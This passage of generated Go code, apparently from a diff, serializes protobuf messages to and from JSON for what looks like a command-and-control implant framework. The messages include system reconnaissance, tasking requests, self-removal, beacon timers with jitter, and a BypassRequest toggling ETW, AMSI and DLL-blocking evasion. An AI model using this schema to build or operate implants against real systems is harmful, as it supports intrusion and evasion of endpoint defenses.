s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Secure to JSON. +func (x *Secure) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Secure message from JSON. +func (x *Secure) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "enable": + s.AddField("enable") + x.Enable = s.ReadBool() + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Secure from JSON. +func (x *Secure) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the KeyExchangeRequest message to JSON. +func (x *KeyExchangeRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + if len(x.Signature) > 0 || s.HasField("signature") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("signature") + s.WriteBytes(x.Signature) + } + if x.Timestamp != 0 || s.HasField("timestamp") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timestamp") + s.WriteUint64(x.Timestamp) + } + if x.Nonce != "" || s.HasField("nonce") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nonce") + s.WriteString(x.Nonce) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the KeyExchangeRequest to JSON. +func (x *KeyExchangeRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the KeyExchangeRequest message from JSON. +func (x *KeyExchangeRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + case "signature": + s.AddField("signature") + x.Signature = s.ReadBytes() + case "timestamp": + s.AddField("timestamp") + x.Timestamp = s.ReadUint64() + case "nonce": + s.AddField("nonce") + x.Nonce = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the KeyExchangeRequest from JSON. +func (x *KeyExchangeRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the KeyExchangeResponse message to JSON. +func (x *KeyExchangeResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the KeyExchangeResponse to JSON. +func (x *KeyExchangeResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the KeyExchangeResponse message from JSON. +func (x *KeyExchangeResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the KeyExchangeResponse from JSON. +func (x *KeyExchangeResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Init message to JSON. +func (x *Init) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Init to JSON. +func (x *Init) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Init message from JSON. +func (x *Init) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Init from JSON. +func (x *Init) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SysInfo message to JSON. +func (x *SysInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Filepath != "" || s.HasField("filepath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("filepath") + s.WriteString(x.Filepath) + } + if x.Workdir != "" || s.HasField("workdir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("workdir") + s.WriteString(x.Workdir) + } + if x.IsPrivilege || s.HasField("isPrivilege") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("isPrivilege") + s.WriteBool(x.IsPrivilege) + } + if x.Os != nil || s.HasField("os") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("os") + x.Os.MarshalProtoJSON(s.WithField("os")) + } + if x.Process != nil || s.HasField("process") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("process") + x.Process.MarshalProtoJSON(s.WithField("process")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SysInfo to JSON. +func (x *SysInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SysInfo message from JSON. +func (x *SysInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "filepath": + s.AddField("filepath") + x.Filepath = s.ReadString() + case "workdir": + s.AddField("workdir") + x.Workdir = s.ReadString() + case "is_privilege", "isPrivilege": + s.AddField("is_privilege") + x.IsPrivilege = s.ReadBool() + case "os": + if s.ReadNil() { + x.Os = nil + return + } + x.Os = &Os{} + x.Os.UnmarshalProtoJSON(s.WithField("os", true)) + case "process": + if s.ReadNil() { + x.Process = nil + return + } + x.Process = &Process{} + x.Process.UnmarshalProtoJSON(s.WithField("process", true)) + } + }) +} + +// UnmarshalJSON unmarshals the SysInfo from JSON. +func (x *SysInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Suicide message to JSON. +func (x *Suicide) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != 0 || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteInt32(x.Type) + } + if x.Timestamp != 0 || s.HasField("timestamp") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timestamp") + s.WriteInt64(x.Timestamp) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Suicide to JSON. +func (x *Suicide) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Suicide message from JSON. +func (x *Suicide) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadInt32() + case "timestamp": + s.AddField("timestamp") + x.Timestamp = s.ReadInt64() + } + }) +} + +// UnmarshalJSON unmarshals the Suicide from JSON. +func (x *Suicide) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Request_ParamsEntry message to JSON. +func (x *Request_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Request_ParamsEntry to JSON. +func (x *Request_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Request_ParamsEntry message from JSON. +func (x *Request_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Request_ParamsEntry from JSON. +func (x *Request_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Request message to JSON. +func (x *Request) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Input != "" || s.HasField("input") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("input") + s.WriteString(x.Input) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Request to JSON. +func (x *Request) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Request message from JSON. +func (x *Request) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "input": + s.AddField("input") + x.Input = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Request from JSON. +func (x *Request) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Response_KvEntry message to JSON. +func (x *Response_KvEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Response_KvEntry to JSON. +func (x *Response_KvEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Response_KvEntry message from JSON. +func (x *Response_KvEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Response_KvEntry from JSON. +func (x *Response_KvEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Response message to JSON. +func (x *Response) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Output != "" || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteString(x.Output) + } + if x.Error != "" || s.HasField("error") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("error") + s.WriteString(x.Error) + } + if x.Kv != nil || s.HasField("kv") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("kv") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Kv { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if len(x.Array) > 0 || s.HasField("array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("array") + s.WriteStringArray(x.Array) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Response to JSON. +func (x *Response) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Response message from JSON. +func (x *Response) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "output": + s.AddField("output") + x.Output = s.ReadString() + case "error": + s.AddField("error") + x.Error = s.ReadString() + case "kv": + s.AddField("kv") + if s.ReadNil() { + x.Kv = nil + return + } + x.Kv = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Kv[key] = s.ReadString() + }) + case "array": + s.AddField("array") + if s.ReadNil() { + x.Array = nil + return + } + x.Array = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Response from JSON. +func (x *Response) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the BypassRequest message to JSON. +func (x *BypassRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.ETW || s.HasField("ETW") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ETW") + s.WriteBool(x.ETW) + } + if x.AMSI || s.HasField("AMSI") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("AMSI") + s.WriteBool(x.AMSI) + } + if x.BlockDll || s.HasField("blockDll") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockDll") + s.WriteBool(x.BlockDll) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the BypassRequest to JSON. +func (x *BypassRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the BypassRequest message from JSON. +func (x *BypassRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "ETW": + s.AddField("ETW") + x.ETW = s.ReadBool() + case "AMSI": + s.AddField("AMSI") + x.AMSI = s.ReadBool() + case "block_dll", "blockDll": + s.AddField("block_dll") + x.BlockDll = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the BypassRequest from JSON. +func (x *BypassRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the NetInterface message to JSON. +func (x *NetInterface) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Index != 0 || s.HasField("index") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("index") + s.WriteInt32(x.Index) + } + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Mac != "" || s.HasField("mac") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("mac") + s.WriteString(x.Mac) + } + if len(x.IpAddresses) > 0 || s.HasField("ipAddresses") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ipAddresses") + s.WriteStringArray(x.IpAddresses) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the NetInterface to JSON. +func (x *NetInterface) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the NetInterface message from JSON. +func (x *NetInterface) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "index": + s.AddField("index") + x.Index = s.ReadInt32() + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "mac": + s.AddField("mac") + x.Mac = s.ReadString() + case "ip_addresses", "ipAddresses": + s.AddField("ip_addresses") + if s.ReadNil() { + x.IpAddresses = nil + return + } + x.IpAddresses = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the NetInterface from JSON. +func (x *NetInterface) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SockTabEntry message to JSON. +func (x *SockTabEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.LocalAddr != "" || s.HasField("localAddr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("localAddr") + s.WriteString(x.LocalAddr) + } + if x.RemoteAddr != "" || s.HasField("remoteAddr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("remoteAddr") + s.WriteString(x.RemoteAddr) + } + if x.SkState != "" || s.HasField("skState") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("skState") + s.WriteString(x.SkState) + } + if x.Pid != "" || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteString(x.Pid) + } + if x.Protocol != "" || s.HasField("protocol") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("protocol") + s.WriteString(x.Protocol) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SockTabEntry to JSON. +func (x *SockTabEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SockTabEntry message from JSON. +func (x *SockTabEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "local_addr", "localAddr": + s.AddField("local_addr") + x.LocalAddr = s.ReadString() + case "remote_addr", "remoteAddr": + s.AddField("remote_addr") + x.RemoteAddr = s.ReadString() + case "skState": + s.AddField("skState") + x.SkState = s.ReadString() + case "pid": + s.AddField("pid") + x.Pid = s.ReadString() + case "protocol": + s.AddField("protocol") + x.Protocol = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the SockTabEntry from JSON. +func (x *SockTabEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the NetstatResponse message to JSON. +func (x *NetstatResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Socks) > 0 || s.HasField("socks") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("socks") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Socks { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("socks")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the NetstatResponse to JSON. +func (x *NetstatResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the NetstatResponse message from JSON. +func (x *NetstatResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "socks": + s.AddField("socks") + if s.ReadNil() { + x.Socks = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Socks = append(x.Socks, nil) + return + } + v := &SockTabEntry{} + v.UnmarshalProtoJSON(s.WithField("socks", false)) + if s.Err() != nil { + return + } + x.Socks = append(x.Socks, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the NetstatResponse from JSON. +func (x *NetstatResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Block message to JSON. +func (x *Block) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.BlockId != 0 || s.HasField("blockId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockId") + s.WriteUint32(x.BlockId) + } + if len(x.Content) > 0 || s.HasField("content") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("content") + s.WriteBytes(x.Content) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Block to JSON. +func (x *Block) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Block message from JSON. +func (x *Block) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "block_id", "blockId": + s.AddField("block_id") + x.BlockId = s.ReadUint32() + case "content": + s.AddField("content") + x.Content = s.ReadBytes() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the Block from JSON. +func (x *Block) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ACK message to JSON. +func (x *ACK) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Id != 0 || s.HasField("id") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("id") + s.WriteUint32(x.Id) + } + if x.Success || s.HasField("success") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("success") + s.WriteBool(x.Success) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ACK to JSON. +func (x *ACK) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ACK message from JSON. +func (x *ACK) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "id": + s.AddField("id") + x.Id = s.ReadUint32() + case "success": + s.AddField("success") + x.Success = s.ReadBool() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ACK from JSON. +func (x *ACK) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Os message to JSON. +func (x *Os) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Version != "" || s.HasField("version") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("version") + s.WriteString(x.Version) + } + if x.Release != "" || s.HasField("release") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("release") + s.WriteString(x.Release) + } + if x.Arch != "" || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteString(x.Arch) + } + if x.Username != "" || s.HasField("username") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("username") + s.WriteString(x.Username) + } + if x.Hostname != "" || s.HasField("hostname") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hostname") + s.WriteString(x.Hostname) + } + if x.Locale != "" || s.HasField("locale") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("locale") + s.WriteString(x.Locale) + } + if len(x.ClrVersion) > 0 || s.HasField("clrVersion") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("clrVersion") + s.WriteStringArray(x.ClrVersion) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Os to JSON. +func (x *Os) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Os message from JSON. +func (x *Os) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "version": + s.AddField("version") + x.Version = s.ReadString() + case "release": + s.AddField("release") + x.Release = s.ReadString() + case "arch": + s.AddField("arch") + x.Arch = s.ReadString() + case "username": + s.AddField("username") + x.Username = s.ReadString() + case "hostname": + s.AddField("hostname") + x.Hostname = s.ReadString() + case "locale": + s.AddField("locale") + x.Locale = s.ReadString() + case "clr_version", "clrVersion": + s.AddField("clr_version") + if s.ReadNil() { + x.ClrVersion = nil + return + } + x.ClrVersion = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Os from JSON. +func (x *Os) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Process message to JSON. +func (x *Process) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + if x.Owner != "" || s.HasField("owner") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("owner") + s.WriteString(x.Owner) + } + if x.Arch != "" || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteString(x.Arch) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Args != "" || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteString(x.Args) + } + if x.Uid != "" || s.HasField("uid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("uid") + s.WriteString(x.Uid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Process to JSON. +func (x *Process) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Process message from JSON. +func (x *Process) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + case "owner": + s.AddField("owner") + x.Owner = s.ReadString() + case "arch": + s.AddField("arch") + x.Arch = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "args": + s.AddField("args") + x.Args = s.ReadString() + case "uid": + s.AddField("uid") + x.Uid = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Process from JSON. +func (x *Process) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Timer message to JSON. +func (x *Timer) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Expression != "" || s.HasField("expression") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("expression") + s.WriteString(x.Expression) + } + if x.Jitter != 0 || s.HasField("jitter") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("jitter") + s.WriteFloat64(x.Jitter) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Timer to JSON. +func (x *Timer) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Timer message from JSON. +func (x *Timer) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "expression": + s.AddField("expression") + x.Expression = s.ReadString() + case "jitter": + s.AddField("jitter") + x.Jitter = 